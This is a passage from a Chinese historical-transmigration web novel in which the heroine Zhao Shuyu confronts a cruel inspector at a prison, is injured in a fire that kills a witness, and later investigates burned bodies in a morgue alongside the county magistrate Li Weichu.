“已经有半个时辰了,我怕姐姐还没醒所以就没有叫姐姐,可是如今袁巡抚和刘世尧也来了,刘世尧一口咬定是那人蓄意破坏赌坊,还拿了周玥姐姐的典妻文契向县令要人呢!袁巡抚一直给县令压力,县令最终撑不住,如今周玥姐姐已经被刘世尧带来的几个人押走了!”
锦夏语速边说着边渐渐加快,十分焦急。
“为什么不早点叫我!”
“这……”锦夏惴惴不安道,“这件事情本来就不关赵姐姐的事,我……我不想让姐姐陷入危险。”
“你啊。”赵疏玉临走前指了一下她的额头,随后急匆匆便走了。
“凉丝呢?”
赵疏玉到堂上时发现人早已不在清场,没办法她又只好跑到李惟初常在的书房去找他。
果不其然,李惟初就在里面。
只不过他的神情不算太好,地上散落一堆书籍。
他眼神中透着刀子般凌冽向门口那人看去,见是赵疏玉来,他将目光收回,语气不算太好地问道:“凉丝被袁群毅罚了二十大板,如今人昏迷不醒。”
“他凭什么罚凉丝?”
“欲加之罪何患无辞!”
啪地一声,李惟初重重一掌拍在桌面上,语气压低怒吼道:“他竟还想像从前一样断我左膀右臂,实在可恶!”
“围殴去赌坊闹事的那群人呢?”
“放了。”李惟初袖下的拳头紧紧捏起,语气沉沉道。
“闹事的那个人呢?”赵疏玉又急切问道。
“被袁群毅以寻衅滋事,破坏公序秩序为由给抓进了地牢,如今他正在那儿处置他。”
赵疏玉转身正要一个箭步冲出去时,回头望了一眼李惟初,见他竟然在气定神闲地喝茶,心中顿时气不打一处来,不满地问他道:“如今火烧眉毛,你还有心思在这儿喝茶?”
“你去了能改变什么吗?开堂时袁群毅拐弯抹角地说我治官不严,治理不力,使得小人猖獗,光天化日之下砸毁公物,妨碍公务,要好好替我管管江南,警告我不要插手,我就是一个人为刀俎我为鱼肉的小县令,他可是朝廷亲自派下来巡访各地官员的巡抚钦差大臣,我顶撞他?我能么?”
“你……”
她口中有话被堵着,这一口气堵在喉中上不去也下不来,最后她失望而又愤愤地看了他一眼,一溜烟跑走了。
而在她跑走身影消失的那一刻,李惟初的目光从清澈茶水上抬起,意味不明地望向赵疏玉跑开的地方。
“咯噔”一声,他将茶水放在桌上。
34. 巡抚出击(2)
赵疏玉急匆匆地一路奔向牢狱。
她甫一进入便见袁群毅浩浩荡荡领着一窝人站在那里,他惬意地坐在中间,昂着头轻蔑地看向地上那个被打得鼻青脸肿的人。
看清那人浑身是伤的模样,记忆忽然在赵疏玉的脑海中炸开。
‘邱老板?’
赵疏玉心中猛道。
回想着锦夏对她说“还妻”的一席话,心下隐隐有了什么猜测。
“啪”地一声,烙红的铁块紧紧压在邱老板的身上,滚烫的刻印深深烙进他的心里,他双目无神地趴在地上,软绵绵的似乎仅剩下一口微弱的呼吸。
袁群毅却是抬起脚尖往他脸上踩着蹂躏两下,见他还是一动不动,他嘴唇恶意地下瞥,指挥着身后的两人,道:“来人,给他泼醒!我倒要看看他是不是靠装晕来躲刑!”
一桶凉水无情地朝邱老板泼下,从天灵盖开始传来的透心凉一路到脚趾,他冷得一颤,生生又被泼醒。
“瞧瞧!”刘世尧冷哼一声,眼神中却闪过浓浓的戏谑,“蒙骗上官,意欲以装晕来逃避刑罚,罪加一等!”
“等等!”赵疏玉拧着眉一直站在狱门后面看完这一切,邱老板此时正被几个人五花大绑地抬起来,一双迷离的眼中尽是一片灰蒙蒙的死意。
拽着他衣袖的两个人不满地瘪了一下嘴。
真脏。
想他们在京城,何时做过这种恶心的脏事!这种事情就应该由那些卑贱的狱卒来做!
想着,他们在心里无不默默啐了一口。
都怪李惟初,要不是因为他不安分,他们又何必跟着主子从繁花似锦的京城千里迢迢远赴这穷乡僻壤的江南!
吃的喝的,那和京城压根儿就没法比!就连上个茅厕都……
只听袁群毅很无所谓地用余光瞥了她一眼,随后便鼓掌,哈哈大笑起来,道:“瞧瞧李惟初教人的规矩,瞧瞧这江南的规矩!还当李惟初有多么能人善任,原早就在京城中被拔光了獠牙,如今便是一只被卸了四肢的病猫啊?真是可笑至极!”
笑完,他眼中凛冽的寒光倏地向赵疏玉投去,阴冷地开口,淡淡道:“你是什么身份,竟敢忤逆本官!”
想着,他冷着脸扯了一下嘴皮,“既然赵姑娘这么爱看热闹,不如就将她请进来,看个够。”
话音刚落,他旁边的两名随从便立刻抓住赵疏玉的双手将她拉扯进来。
见赵疏玉手上飞快地好似有什么动作,在她出击前袁群毅大喝一声,“赵疏玉!”
“本官可告诉你,你最好别有什么小动作,否则一切后果都由李惟初承担!你若敢伤我一分毫毛,下一刻我便要了李惟初的命!”
赵疏玉忽制住动作,这一愣神的功夫,几个人眼疾手快一脚踹上她的膝盖,将她重重踹跪在地上,一只膝盖狠狠砸进水泥地上,“咔哒”一声,膝盖骨瞬间泛红青紫。
“唔……”
一阵剧痛来袭,赵疏玉咬着牙硬是将这丝闷哼给咽回肚子里去。
可膝盖上的疼痛不断席卷大脑,眼前一黑。
这具身体还是太弱了。
赵疏玉咬着牙想到,若是她当年,那便是连子弹穿胸都不在怕的。
上头传来袁群毅恶意的笑声,赵疏玉抬起双眸,见他正好整以暇,像看蝼蚁一样地看着他们。
这一刻,他便是主宰者。
想杀谁,就杀谁。
“没想到赵姑娘还挺善心啊,嗯?怎么你独自一个来了?李惟初呢?他没陪你?”
“他为什么要来,看你鸠占鹊巢,狐假虎威地在他面前耀武扬威吗?”
“啪”地一声脆响,袁群毅甩了赵疏玉一巴掌。
“竟敢跟本官这么说话,真是没礼貌的小女娘。”
打完这一巴掌之后他又捏起赵疏玉的下巴,看着她眸中淬火一般的愤怒,竟然很高兴地勾了一下唇。
“哟,生气了~瞧瞧,这模样坯子好是好,就是忒瘦了些,小女娘,跟着本官走,本官保你吃香喝辣好不好?”
赵疏玉死死瞪着他,不说话。
若按以往,她早就伸腿磨刀霍霍向鸡*了,定踢得他断子绝孙一辈子抬不起头来!
可如今人在屋檐下,不得不低头,纵使浑身十八般武艺也只得按下。
“说话。”袁群毅捏着她下巴的手缩紧,随着力道一下一下加深,赵疏玉也不禁有些疼得拧起了眉。
“别用……你的脏手碰我!”
“啪”又是一掌。
袁群毅没有听到想听的答案,于是毫不留情地又赏了她一个嘴巴。
但他的脸色并没有很难看,而是很悠哉地对她说道:“哎呀,你说那怎么办呢?李惟初已经同意让你做我的小妾了呢。”
“……我并不是他的奴,身契也不在他那里,我是良家女子,你们任何人,都无法决定我的去留!”赵疏玉恶狠狠地看着他,心中却在盘算着另一件事。
既然李惟初都肯舍弃不顾自己,那她凭什么还要再考虑他是否能活着从袁群毅的手下活?
想及此,她的四肢又开始蠢蠢欲动起来。
“这可由不得你,而且,良家孤女嘛,死了都没人知道。”
“哈哈哈哈打死她打死她,就算把她打死了也没人知道!”
“踢她后腰,踢这儿最疼!”
“哈哈哈哈哈……”
充满着恶意的讥讽声,欢快的鼓掌声,袁群毅的话突然激起她掩埋在内心深处最不愿回想的记忆。
记忆被撕开一道口子,随后便如洪水奔腾涌入赵疏玉的脑海中。
“打死她打死她!她就是个没人要的野孩子!亲爹亲妈不要她,没爹没妈真可怜略略略略,被打了都找不到人告状哦~我们的疏玉同学好可怜哦~”
一个人暴力地扯下她的外套,摇着手上的钥匙惬意地看着她的狼狈。
而赵疏玉的脸上身上几乎没有一块完好无损的皮肤,可她还是紧紧憋着一口气,抬起高昂的天鹅颈,不向他们认输。
“啧,你这样害死周围所有人的扫把星,怎么还有脸抬着头。不服输吗?那就弄死你。”
手中一直旋转的钥匙忽然停止转动,随后她握住钥匙圆圆的末尾,将尖锐如刀尖一般的钥匙头对向她,一步步朝她走来,而身边的那些人,没有一个人为她感到悲哀或是同情。
他们的脸上无一不挂着痛快的微笑,就像是自己在做什么惩奸除恶的大善事,而惩罚的是什么穷凶极恶的困兽一般。
阿余。
我有梦想了。
我想去做警察,把天底下所有的坏人都抓住,除恶扬善,为天下生灵立命。
可是……
你已经看不到了。
而我……
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也已经死在了那场背叛中。
“啊啊啊!!走水了!!走水了!!!”
抓着邱老板的那两个人看着愈来愈大的火势,不禁尖叫出声。
他们立刻撒开了邱老板的手就跑,丝毫不听袁群毅的命令,而他在色与死之间,毫不犹豫地选择了逃生,并将赵疏玉狠狠往火中大推一把。
你死了最好!
不死,算你命大!
而赵疏玉也在推搡中回过神来,她刚从地上爬起来,膝盖骨那儿便传来一阵剧痛。
如果是当年的赵疏玉,这点根本就不算什么,可这个世界的她……
她咬着牙,倒吸一口凉气,“希望不要骨裂得太厉害。”
说罢,她竟回身拽住了邱老板的衣袖。
火势渐渐变大,遥远的门外似乎传来人们急切的呼唤,尤其是锦夏的那一声声不要命的嘶吼,似乎要将这火场中的热流都吼破一道裂缝来。
赵疏玉拉着邱老板的衣袖一瘸一拐地想拉着他跟自己一起走。
谁料他竟瘫软在原地,看这场大火,忽然大哭呢喃地起来,朝着如火蛇一般的火焰吼道:“莹儿,我的莹儿,我对不起你啊!!啊啊啊啊啊——我不该赌,不该沾赌啊!!我毁了你,毁了孩儿,毁了咱们好不容易经营起来的家啊!!!”
赵疏玉忍着膝上的剧痛,生生将似乎要一把扑进火场中的邱老板也一起拉回来。
而邱老板在这一刻却如千斤重的石头一般怎么拽都拽不动,不仅如此,赵疏玉还感觉自己如溺在水中,竟被这石头越拉越沉下去。
眼见着她离火海越来越近,前头的路也即将要被大火侵蚀,倾厦下来的木柱给挡住,她用尽最后的力气将疯疯癫癫的邱老板一把拉回来。
“你再耽误下去,咱们都得死里面!”
邱老板的嘴里一直神神叨叨地不知念着什么,只听得两个字。
“莹儿……莹儿……”
忽然他的眼神聚焦在赵疏玉的脸上,灼热的气体肆意火烧着一切,在火光中,她清晰地看到邱老板脸上一闪而过的惊慌之色。
他猛地一掌推开了她,将她推向离火更远的地方,而自己则借着惯性没入火海。
一瞬间,他被大火吞噬,但凄厉的三个字冲出火堆,划破周围灼烧的气氛,清晰地穿进赵疏玉的耳里。
“对不起!!啊!——”
凄惨的尖叫声瞬间淹没在火海,随后,便是经久的沉默。
很显然,邱老板已经死了。
印证了周德的话。
那二十七个女子,是自己甘愿冲进火里的。
事不宜迟,下一刻她弓起身子,右袖捂住鼻腔,可滚烫的热气无孔不入,带着有毒的气体穿过她右袖的空隙吸进她的鼻腔。
眼前的事物逐渐模糊,膝盖上粉碎性的疼痛更是令她的状态雪上加霜。
她要死了吗?
再一次?
“主上,这火太大了,主上您不能进去啊!”
“主上!”
“主上!”
“滚开!”李惟初撞开挡在他面前的维寻,双拳紧握坚定不移地朝烧红了半边天的牢狱里走去。
锦夏也从发愣的维寻手里接过水桶,卖力地狂奔着步子朝火狱浇去,不知是不是走得太急,脚底竟看起来有些跛,向两旁倒来倒去,却仍然维持着身体的平稳。
35. 好疼
阿余慌乱地用力推搡着她,白净的脸上露出焦急的神色,一双眼睛湿漉漉的似乎里头刚下过一场雨。
“呃啊……”
懵懂的眼球里装满赵疏玉昏迷不醒的睡颜,伸手抚上赵疏玉的额头,滚烫得就像刚从烧开的开水一般,他既着急又害怕,抬头望向空荡荡的四方,只有无穷尽的迷茫。
最终,无畏战胜了畏惧,他站起身,将红袋子里他所有的积蓄都放在赵疏玉的身边,而他手中握着一张绿色的钞票。
阿余重重抹了一把眼睛,再看了一眼赵疏玉,随后转身摇摇晃晃地跑走。
之后黑夜倾覆,黑压压的天空朝赵疏玉躺着的方向猛地坠去。
“啊!!”
赵疏玉倏地从床上坐起,眸中似有惊色。
“赵姐姐你醒了!”锦夏一直在旁边,虽被她的声音唬了一跳,但更多的还是对她的苏醒感到十分欣喜。
她的手里正端来一碗黑糊糊的药汤,坐在床边小心地喂她汤药。
赵疏玉头疼欲裂,胸中沉闷隐隐想作呕,闻着这苦味的汤药胃中的恶心便欲烈。
她虚弱地摆摆手,“先放那儿……”
“赵疏玉。”话音未落,门外便看见一角的熟悉的绛紫色下袍,以及熟悉得不能再熟悉的声音。
他沉着脸三两步便走进内室,垂眸看向赵疏玉那一张虚弱的小脸,责备的话哽在喉头,一时不知该从何说起,一直强压在心头的怒气瞬间消失得无影无踪,再不见踪迹。
他指尖动了动,嗓音也不似方才沉冷,一看就是兴师问罪的模样。
“喝药。”
他道。
赵疏玉却抽了一下嘴角,唏嘘道:“这药太苦,不想喝。”
“良药苦口利于病,喝。”李惟初朝锦夏抬了抬下巴,她立刻会意,端起药碗又捧上赵疏玉身前。
如果有一面镜子现在横在赵疏玉的面前,她一定可以看到自己狰狞而生无可恋的面孔。
李惟初的眉心微动,下一刻却又拧起眉心,对锦夏道:“你要是再不喂药,本官现在就将你发卖出去。”
见锦夏骑虎难下的样子,赵疏玉接过碗闭着眼仰面一口闷下,随后她痛苦地下咽,恶狠狠地瞪了李惟初一眼,将心头的苦涩全都倾泻。
“喝药就喝药,你威胁别人算怎么回事?”说罢,她眼眸微抬,看见李惟初唇边一闪而过狡黠的笑容,这才知道自己上当受骗。
“噔”地一声赵疏玉将碗扔到床柜上,再不理他。
只听李惟初问道:“邱老板临死前,有没有对你说什么?”
一提到案子,赵疏玉便瞬间来了劲,将方才气恼的事情忘得一干二净。
她将脸转回去望着李惟初道:“他家里发生的事情我就不多赘述了,只是他看向我时,对我说了一句‘对不起’。”
“十分可疑。”
闻言,李惟初也是不禁蹙起眉来。
他问道:“你和邱老板熟识?”
赵疏玉摇头,“不算太熟,只是讲过一句话而已……”
忽然又像是想到什么,她又接着说道:“你还记得虎鸣经常在他这儿买药吗?”
李惟初也像是想到什么,他往锦夏的方向望了一眼。
锦夏立刻端着药碗告退。
李惟初缓缓走到离他最近的茶凳上整衣危坐,温暖的烛光在他的左半边脸上跳动,柔和了他本有些凛冽的脸骨。
眼眸中透露的神采似乎也在烛光照动下变得温和起来。
“袁群毅想灭邱老板的口,说明,他肯定是知道什么。”赵疏玉目光严肃道。
李惟初也赞同地轻嗯一声,“邱老板曾在赌坊中输光了家产,连医馆都赔了进去。”
“后来,邱老板将妻子典给刘世尧才算还了这笔赌债,又过不久,女儿没了,医馆却开起来了……”李惟初低下眸眼眸中闪过一丝异样的色彩。
“如此看来,的确可疑。”
赵疏玉回想起邱老板临死前说的那一番话,又想到什么,问道:“他的妻子回来了吗?”
李惟初摇摇头。
他抬起头,黑黝黝的两个黑色瞳仁中却是有着一抹不寻常的沉静。
“他的妻子在进刘世尧的府上后突然消失了,之后更是尸骨无存,刘世尧为了弥补他,便将他原来抵押给自己的医馆还给他,又给了他一笔
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银子。”
“这事就这么平了。”
赵疏玉的脑海中猛地闪过一个念头,紧接着她被子一掀就要下床。
但她好似忘记了膝盖上的伤,一个不留神牵扯到刚包扎好的膝盖,一波刺痛的浪花翻涌朝她席卷,她疼得两眼一黑直直摔到床下。
“碰”地一声,赵疏玉整个人倒在地上一动不动,一口银牙都要被咬碎。
李惟初也没料到她会突然这么大动作,刚想出言提醒就看到赵疏玉已经重重摔到地上。
他一愣,旋即莞尔一笑,无奈地摇了摇头,“真当自己是大罗神仙不成?哎……”
他叹了口气起身将她从冰冷的地上抱起。
李惟初的肩很宽很大也很结实,赵疏玉被他稳稳地托在怀里,可疼痛却一浪又一浪地冲刺而来,她疼得两眼一黑再一黑,疼得眼冒金星好似看到有白光在眼前闪过。
一时间她也不管旁边的人是谁,双手紧紧拽住李惟初胸前的绛紫色对襟,她闭着眼紧紧捏住,头上冒出涔涔冷汗,唇齿间也再难不泄出一声痛苦来。
“唔……”
李惟初感觉到她手上的动作,呼吸也不由得有些紊乱,他的喉结滚了滚,还算镇定地问她道:“……你怎么样?”
但见她这样疼得蜷缩在自己怀里的样子,他眸光一沉立马对门外喊道:“维寻!”
维寻一刻不敢耽搁,立刻进屋。
却一进屋就见主子怀里抱着赵疏玉,一时间眼睛差点都震惊得要掉出来,他赶忙将掉到地上的眼珠子拾起来,低着头回道:“主子。”
“快去传郎中!”
而赵疏玉的耳中已经开始响起阵阵耳鸣,甚至连李惟初说了什么话她都只零零碎碎听到如老化的广播一般断断续续的声音。
“好痛……”
“哪里痛?”李惟初整个身子几乎僵在原地,而他的目光却慌乱地停留在赵疏玉那只被绷带包好的膝盖。
没有流血。
这个时候他倒希望能流血,最起码是外伤,不会疼得全身发抖。
“让你急,以后看你还急不急!”
李惟初也是无可奈何地凶了她一句。
36. 急于灭口
“惟初,有件事情我恐要告知你,这姑娘的腿怕是……”
剩下的话还未说出口,李惟初抬手示意他别再说下去了。
只是哑着嗓子问对面道:“真的再没办法了吗?”
那人抬眸,眸露为难之色,纠结了半晌方道:“这姑娘的身骨较脆,许是幼时缺食少水,营养不良,骨骼尚未发育良好又遭此撞击,即便华佗在世,也……”
李惟初踉跄着往后退了几步,手无力地撑在桌上,眸中似有悲痛之色。
“她才十七岁,鹤安,她才十七岁啊……若是废了一条腿,她日后可怎么办?”
季鹤安低眸,轻声慰劝着,“若非她执意妄为失了分寸,也不会惹恼袁群毅。常言“自作孽不可活”,她只不过是为自己的鲁莽买单罢了。”
“不。”李惟初摇摇头,心中似有千涛万浪,苦涩弥漫到他的嘴角,他痛苦地闭了闭眼,“是我将那未成婚的二十七女典妻文书给藏了起来,又是我不愿插手邱元冲一事,是因我私心用甚,才使她对我失望,才会混不计后果一心去救邱元冲……这一切都是我的错。”
季鹤安注视着他一步步软倒在地,痛苦地自责自己,他拧着眉一把将他拽起,抓着他的双臂,“你有什么错?该做的你都做了,该说的你也说尽了,可到最后你换得什么下场?险象环生,你那时若行差踏错一步都会步入万劫不复之地。”
“袁群毅一向狠毒专权,你我早早便见过。如今赵疏玉只是被微微惩戒警告一番,废了她的一条腿。惟初,你便庆幸,她只是废了一条腿。”
“我……”
李惟初的眸中泪光闪过,他克制地攥紧衣袍轻声道:“她的一切都是因为我……我不想,不想赵疏玉也折进去。”
季鹤安沉重地叹了口气,伸手抚在他的肩上是作安慰,“那不是你的错,那件事无奈之举……况且,你也为她报了仇。”
“不!”李惟初一把推开季鹤安,太阳穴青筋凸起红着眼睛死死抑制住内心的苦楚,咬着唇对季鹤安道,“她的人生是因为我,是被我毁了!如果当初不是我……”
“悔不过当初又有什么用啊!”季鹤安不愿见他还沉溺往事悲痛,极力让他清醒过来,“你现在自暴自弃的样子就会令她满意了吗?你还记得你从前对她说了什么吗?”
两行泪落下,顺着他的脸颊滴到他凌乱的衣袍上,他跪坐在地,神情异常痛苦。
“大丈夫当安身立命,忠君报国,为忠孝礼节,为问心无愧。”
他呢喃地说着,记忆却虑向远方。
“那你还记得,她,是怎么对你说的吗?”季鹤安蹲在他身前,抬眸看向他红通通的眼睛。
可李惟初的目光混沌,失神地坐在原地,喃喃道:“她什么都没说,只说了一个字,‘好’。”
“她什么都没对你说,是因她以为你什么都说尽了,她无话可说。除了尽全力支持你,她没有任何期望。”
“可我宁愿我从来都没对她说过这一席话,我宁愿……我从来都没说过……”
季鹤安却一把扯住他的衣袍,将他的冠取下扔在他面前。
他披头散发,衣衫不整地坐在原地,整个人沉溺在悲痛中无法自拔。
“你自毁仕途,高兴的只会是那群人,况你若真辞官,哪还有活路?你如今远在江南,他们是鞭长莫及,可你若真辞了官,那可真是砧板上的鱼肉,任人宰割了啊!”
李惟初的神色恢复一瞬清明,他握住季鹤安的衣袍,急切地问他道:“可她还在那群人的手里,他们用她来威胁我,威胁我不许再过问典妻的任何事,我没有办法……我真的,鹤安,你告诉我,我该怎么做,我到底该怎么做啊鹤安?”
季鹤安的眸中也闪过一丝恨意,“当日若非他们把持住她,你又何必会落到此等地步……可是惟初,她一日在他们手里,你一日就只有被他们拿捏的份,若我说不如弃车保帅,总还有你的……”
“不成!”李惟初立刻便否认了季鹤安的想法,“我这一辈子欠她太多,我可为她而死,决不弃她不顾叫她在那贼窝里痛苦而死。”
“且不说你是否能将她救出来,假设你救她出来,可是她已经疯了,六亲不认,她早就认不得你了啊……”
李惟初一愣,他紧紧攥住季鹤安的手腕,似是从他嘴里得知什么重要的讯息,眸中瞬间填满震惊之色,十分着急地问他:“疯了?她疯了?你怎么知道?你为何不来告诉我?为何要隐瞒于我!”
“李惟初!”季鹤安一把甩开他的手,凌厉地问道,“告诉你有用吗?你能救她还是怎的?我们一起长大二十多年的情分,我做什么不是想为了你好,你为什么,为什么一定要为了一个疯子去毁了你自己啊!”
“呃……”
赵疏玉轻声的嘤咛打断他们二人的话。
她只觉得自己坠入一个巨大的冰窟,浑身阴冷无比,又似乎堕入烈焰吞噬的火球,整个人都被火烧一样的疼痛。
意识渐渐回笼,疼痛逐渐聚集在膝盖处,令她疼痛无极。
听到这一声,季鹤安和李惟初互相对视一眼后,李惟初默默将季鹤安扔在自己衣袍上的冠拿在手上,而后理了理衣袍径直走出门外。
临走时,落下一句,“鹤安,拜托你了。”
季鹤安朝他走的方向回望了一眼,随后轻轻叹了口气,穿过屏风走进内室。
赵疏玉入眼即见一个眉眼如墨的男子坐在自己床边,眉间隐有愁态,,只是很淡,若不仔细瞧并不十分明显,一双黑眸黑若点墨,里头装着赵疏玉虚弱的样子,眼神中盛满关怀的情绪。
“姑娘,我乃医官季鹤安,是由宫中太医署差拨给每县待召的太医,姑娘的病症之后将由我来照看。”
见赵疏玉低着头不说话,以为是她对自己还不尽信任,道:“我和惟初是从小的交情,姑娘大可放心便是。”
赵疏玉终于有了一丝回应,“劳烦太医,不知我的腿……”
季鹤安礼貌地微笑挂在唇边,他道:“姑娘这伤在膝盖,深入骨髓,想不是那么容易便可养好的,还需姑娘静养,季某定当竭力而治。”
赵疏玉听他话茬,便是唏嘘一声,声音颤颤地问道:“按季太医的意思,我这腿
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,可能是废了?”
季鹤安道:“膝盖骨最为坚硬,最不易断裂或是粉碎,但季某瞧姑娘的伤势虽重但若悉心调养定不会影响日常生活,姑娘切莫忧虑。”
“……”赵疏玉哽了一下喉头,千言万语不尽说,只问道,“我何时才能下地?”
季鹤安没想到她都伤成这样了还在想着什么时候可以走路。
就她现在这样的以后能不能正常走路都是个问题了,还想着什么时候能下地。
见季鹤安面露凝重,赵疏玉又道:“不能下地也无妨,我可以拄拐杖。”
“拐杖?”季鹤安从面色凝重变成面色疑惑,“敢问姑娘,何物是拐杖?”
赵疏玉一愣,想是古代并没有拐杖这个说法,于是又道:“就是辅助下地的东西,有人若是腿折了或断了,便可依靠这样的东西来支撑着下地走路。”
“姑娘是说手杖?”季鹤安问道。
赵疏玉点点头,“不错。”
可季鹤安摇摇头,道:“姑娘如今伤势不浅,最好还是静卧静养,若是用手杖恐会加重伤势,不利姑娘养伤。”
随后他对外头招呼道:“姑娘的药好了吗?锦夏快拿进来给姑娘服下。”
睡一觉醒来,又要喝药。
赵疏玉不禁有些怀念现代打点滴开刀时候的日子。
如果医疗技术再先进一点,她就不用一碗一碗地喝这些苦到令人舌头发麻的中药了。
“姑娘。”锦夏低眉顺目地从外头进入,手中捧着一碗黑糊糊的中药,但右手的实质上还挂着一个小袋子。
一进来赵疏玉便被锦夏手指上的小袋子所吸引,问道:“这是什么?”
锦夏笑了一下,将药递到赵疏玉的手上随后道:“这是维寻大人给奴婢的,说是蜜饯,姑娘喝完药之后可以含一颗呢。”
季鹤安在一旁一脸秒懂,却面不露色,只道:“姑娘喝了药便歇息吧,若是夜中有不适再差遣人来唤我,我的屋子设在右厢客房,姑娘谨记。”
“劳烦季太医。”
简单寒暄过后季鹤安便告退了,一室之内便只剩下锦夏和赵疏玉两个人。
见旁人一走,锦夏立刻便冲到赵疏玉床榻边一脸忧心地看着她,好似要将赵疏玉看出个究竟来。
火中发丝不慎被火焰撩到,黑发被撩了一截,变得毛躁不堪。
最后又将目光移上被被褥紧实盖好的膝盖上,眼眶瞬间便红了。
哽咽地问道:“赵姐姐,这,这究竟也不关你的事,邱老板死了又有什么关系,他的性命哪有姐姐的命重要。”
见锦夏又要哭鼻子,赵疏玉无奈地伸出手摸了摸她趴在自己肚子上柔顺的黑发,道:“我去不紧是为了保他的性命。”
锦夏忽然将头抬起,一脸疑惑地问道:“赵姐姐,我不明白你的意思。”
“袁群毅赶走了有罪之人,却将无罪之人羁押扣留,这说明了什么?”
锦夏眨着两只圆溜溜的眼睛望向赵疏玉。
“他在维护刘世尧,想急着灭口。”
“我自然不能让他得逞。”
37. 夜探停尸间
躺在床上不能动的几日,她常常放空大脑在想,如果自己能有个快速愈合的系统就好了。
这几日,她一天能差锦夏好几次,询问周玥的处境如何,可锦夏每次都是一言难尽地说:“赵姐姐,玥姐姐那儿一切都好。”
她知道,锦夏并没有告诉她实情,或许是锦夏的私心,她并不想让自己再步入险境与受伤。
而赵疏玉心头的那一点疑惑也越来越深刻。
邱元冲最后疯癫和她说的那句“对不起”究竟是什么意思。
只是她如今困在床榻,许多问题无法解惑。
她的屋子一片和谐安静,与外头的动荡不安隔绝。
这两个月里李惟初一次也没来过,就像是刻意避着她一般,只叫季鹤安忙得晕头转向。
赵疏玉的身子骨很薄弱,又是化脓又是肿鼓,夜半被疼醒早习以为常。
折腾两个月,在锦夏与众人的众志成城之下,赵疏玉总算是能下地走几步了。
而锦夏也在赵疏玉的吩咐和比划下,做出来一根做工精良的拐杖。
起初,锦夏刚做好这根拐杖时还十分忐忑不安,因为她没有见过真正的拐杖长什么样子,而赵疏玉的描述也只是……
“就跟一根分叉的树杈子一样,呃……锦夏,我这么说,你可以想象的出来吗?”
“……赵姐姐,我……我尽力一试。”
但做出来的成品却让赵疏玉眼前一亮,不禁感叹道:“锦夏,你的一双手是真巧,不过,这拐杖是用什么木头做的?看起来不像是寻常木头……”
锦夏见赵疏玉很是喜欢这根拐杖,并没有对之诸多嫌弃这才放下心来,道:“这是桃花心木,县令拿来给我的。”
“他怎么知道我要做拐杖的?”
锦夏摇摇头,只扶着将赵疏玉臂膀架在桃花心木拐杖上,而后兴冲冲问她道:“赵姐姐喜欢吗?”
“嗯。”
言简意赅的一个字,便让锦夏高兴得合不拢嘴。
“赵姐姐高兴,我也高兴。”
一开始,赵疏玉并不适应“假肢”,走起路来总是僵硬又别扭,甚至有一次杵着拐杖在溜达的时候一个不小心被小石子儿一绊,整个人都摔在地上不能动弹。
挣扎许久都未能从地上爬起来。
而消失了两个半月的李惟初,却在这个时候突然出现。
他一把将赵疏玉打横抱在怀里,一句话也不与她多说,径直将她抱到床上之后,严严实实给她盖好被子。
随后沉默无言地转身离去。
赵疏玉便是一下搞不清他究竟在想什么了。
她在这两个半月里听锦夏和她说过,“那时候火势太大,姐姐又迟迟没出来,县令竟想也不想就冲进牢里将赵姐姐抱了出来呢。维寻当时都快吓死了,一个劲儿的往里面泼水,就怕县令有什么闪失出不来呢。”
“我还是第一次见县令这样。赵姐姐,县令对你好特殊,你感觉到了吗?”
说实话,赵疏玉并不理解这种“特殊”的殊从何来。
或许是自己还有点利用价值。
袁群毅曾说,李惟初已经同意让自己做他的小妾,故而他自然不能让她死了。
或许这也是他几个月避而不见的原因吧。
他问心有愧,故而不敢来见。
想到这层,赵疏玉的手心便紧紧握紧。
她的命运,只能掌控在她的手里,谁也不能夺去。
何况,她还有案子没查完,她还不能走。
又在床上躺了三天,她实在是躺不动了,趁着黑压压的深夜,她杵着拐杖一瘸一拐地走进停尸房。
一推开沉重厚实的木门,里头忽然向外飘进来一阵阴森森的凉风,从脚而起,带给人一种诡异的阴寒。
“哒哒哒……”
空荡荡的停尸房中响起清脆的声音。
赵疏玉正费力地跺着拐杖一步步走近这些尸体。
成排的尸体用白布捂得严实,忽然从门外吹进一阵冷风,掀起白布的一角,露出里头腐烂的躯体。
按大吴的律法,若无亲眷认领尸体,那么必须停满100天才可进行火化,故而这里未有人认领的尸体都停放在各处,不知摆放几月,整个停尸房中隐隐弥漫着腐臭的气息。
这种气息十分古怪,令人一闻便十分警觉,潜意识排斥这份可怕的危机。
赵疏玉进这屋时,敏锐地感觉到这副身体的瑟缩,可只一瞬便被她压下。
“哒哒哒……”
她杵着拐杖一步步靠近尸体,掀起每一条盖在尸体面上的白布。
似乎是在辨认什么。
夜黑风高的深夜似乎又往下压了压,黑云深深遮蔽明亮的月华,清冷的月辉透过狭小的窗照了进来,让本死寂诡异的停尸房更显冰冷。
房梁上传来极细小吱吱的声音,想是对这位不速之客极为不满。
在深夜里在幽墨的角落和房梁上向赵疏玉投来阴冷不算善意的目光,虎视眈眈。
等到她终于找到那二十七个被火烧得面目全非狰狞的女子,刚翻第三个白布时伸在半空的手腕猛地被人攥起。
她心头一紧下意识往后防去,可没想到另一只手也被来人轻而易举地拈在手心。
此人似乎是极为熟悉她的身法。
夜晚深沉,她看不清来人的面貌,腋下的桃花心木拐杖也“啪”地一声倒在地上,砸出一片声响,掀起一片灰蒙蒙的灰尘。
“吱吱!”
被在暗中注视,不怀好意的目光瞬间消失,而赵疏玉整个人被身后的人牢牢攥住。
那人不言语,却将手掌收紧。
“放手。”赵疏玉的手腕传来一阵疼痛。
背后响起男人的一阵轻笑,真就放了手。
可没了拐杖的支撑,赵疏玉那只受伤的腿没有支撑,瞬间一软,在整个身子即将要跌倒下去的时候,一张温暖有力的大掌托起她的腰,顺势将她带入怀中。
“还要我松手吗?”
身后的男人轻笑一声问道。
赵疏玉想象中的刺痛和跌入地面的狼狈并没有到来,反而是腰上被人托了一把,整个人倒在他怀里。
赵疏玉下意识便想推开,头顶上的男人警告地提醒了
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她一下,“你最好别再乱动,否则我一撒手可没人扶你起来。”
熟悉的声音响在赵疏玉耳畔,她紧了紧拳,脑海中对他对自己随意抛洒的命运十分厌恶,于是便冷言冷语道:“你来做什么?”
李惟初却反问她道:“本官倒想问问你,大半夜不睡觉跑停尸房来做什么?”
“你跟踪我?”
“这是我的县衙,我想去哪就去哪,何谈跟踪你?倒不如说是我碰巧看到你正鬼鬼祟祟,不知所云。”
“放开我。”
“放开你?好啊……可是你跌下来怎么办?”
“不用你管。”
“我就管。”
赵疏玉气恼地抬头看他,一双眸子中被愤怒填满,“李惟初!你是不是觉得所有人都命如草芥,可以抛之不理是吗?对你来说没有利用价值的人,就活该被你抛弃,沦为你的弃子,是吗?”
